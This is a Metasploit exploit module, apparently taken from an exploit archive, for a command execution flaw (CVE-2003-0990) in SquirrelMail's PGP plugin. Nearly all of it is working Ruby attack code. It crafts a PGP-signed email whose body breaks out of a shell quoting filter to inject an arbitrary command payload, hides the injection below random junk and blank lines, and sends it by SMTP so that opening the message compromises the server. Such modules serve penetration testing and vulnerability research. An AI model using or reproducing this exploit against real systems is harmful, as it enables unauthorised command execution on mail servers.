SquirrelMail PGP Plugin – Command Execution (SMTP) (Metasploit)
## # $Id: squirrelmail_pgp_plugin.rb 10148 2010-08-25 20:31:46Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # # This module sends email messages via smtp # include Msf::Exploit::Remote::SMTPDeliver def initialize(info = {}) super(update_info(info, 'Name' => 'SquirrelMail PGP Plugin command execution (SMTP)', 'Description' => %q{ This module exploits a command execution vulnerability in the PGP plugin of SquirrelMail. This flaw was found while quickly grepping the code after release of some information at http://www.wslabi.com/. Later, iDefense published an advisory .... Reading an email in SquirrelMail with the PGP plugin activated is enough to compromise the underlying server. Only "cmd/unix/generic" payloads were tested. }, 'License' => MSF_LICENSE, 'Version' => '$Revision: 10148 $', 'Author' => [ 'Nicob <nicob[at]nicob.net>' ], 'References' => [ ['CVE', '2003-0990'], ['OSVDB', '3178'], ['URL', 'http://lists.immunitysec.com/pipermail/dailydave/2007-July/004456.html'], ['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=330'], ['URL', 'http://www.wslabi.com/wabisabilabi/initPublishedBid.do?'], ], 'Stance' => Msf::Exploit::Stance::Passive, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 1024, 'BadChars' => '', 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Targets' => [ [ 'SquirrelMail PGP plugin < 2.1', {} ], ], 'DisclosureDate' => 'Jul 9 2007', 'DefaultTarget' => 0)) end def mime_defaults() self.header.set("MIME-Version", "1.0") self.header.set("Content-Type", "multipart/signed; boundary=\"#{self.bound}\"; protocol=\"application/pgp-signature\"; micalg=pgp-sha1") self.header.set("Subject", '') # placeholder self.header.set("Date", Time.now.strftime("%a,%e %b %Y %H:%M:%S %z")) self.header.set("Message-ID", "<"+ Rex::Text.rand_text_alphanumeric(rand(20)+40)+ "@"+ Rex::Text.rand_text_alpha(rand(20)+3)+ ">" ) self.header.set("From", '') # placeholder self.header.set("To", '') # placeholder end def exploit body = # Display some junk rand_text_alphanumeric(rand(128)+16) + "\n" + rand_text_alphanumeric(rand(128)+16) + "\n" + rand_text_alphanumeric(rand(128)+16) + "\n" + rand_text_alphanumeric(rand(128)+16) + "\n" + rand_text_alphanumeric(rand(128)+16) + "\n" + rand_text_alphanumeric(rand(128)+16) + "\n" + # Scroll down "\n" * (rand(100)+35) + # Escape filter and insert payload "AAAA\\\";" + payload.encoded + ";echo \\\"BBBBB\n" sig = "-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG\n\n " + rand_text_alphanumeric(rand(20)+54) + "\n" + rand_text_alphanumeric(rand(20)+34) + "\n" + "-----END PGP SIGNATURE-----\n" msg = Rex::MIME::Message.new msg.extend(MessageExtend) msg.mime_defaults msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1) msg.to = datastore['MAILTO'] msg.from = datastore['MAILFROM'] msg.add_part(body, "text/plain;charset=us-ascii;format=flowed", "quoted-printable", nil) msg.add_part(sig, "application/pgp-signature", nil, "attachment; filename=signature.asc") send_message(msg.to_s) print_status("Waiting for a payload session (backgrounding)...") end end |